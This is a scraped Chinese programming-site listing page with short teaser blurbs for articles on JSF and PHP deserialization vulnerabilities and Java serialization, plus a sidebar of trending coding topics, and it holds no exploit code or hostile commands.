JSF 和类似的 Web 技术之间的区别在于 JSF 使用 ViewStates(除了会话)来存储视图的当前状态(例如,当前应该显示视图的哪些部分),这篇文章主要介绍了Java安全之Mojarra JSF反序列化知识讲解,包括漏洞复现和漏洞分析,需要的朋友可以参考下
2022-11-16

Java序列化和克隆的实例分析

Java序列化和克隆的实例分析,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。序列化Java 序列化技术可以使你将一个对象的状态写入一个Byte 流里,并且可以从
2023-06-17

php反序列化之字符串逃逸实例分析

这篇文章主要讲解了“php反序列化之字符串逃逸实例分析”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“php反序列化之字符串逃逸实例分析”吧!php反序列化–字符串逃逸PHP反序列化的字符串逃
2023-06-30

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录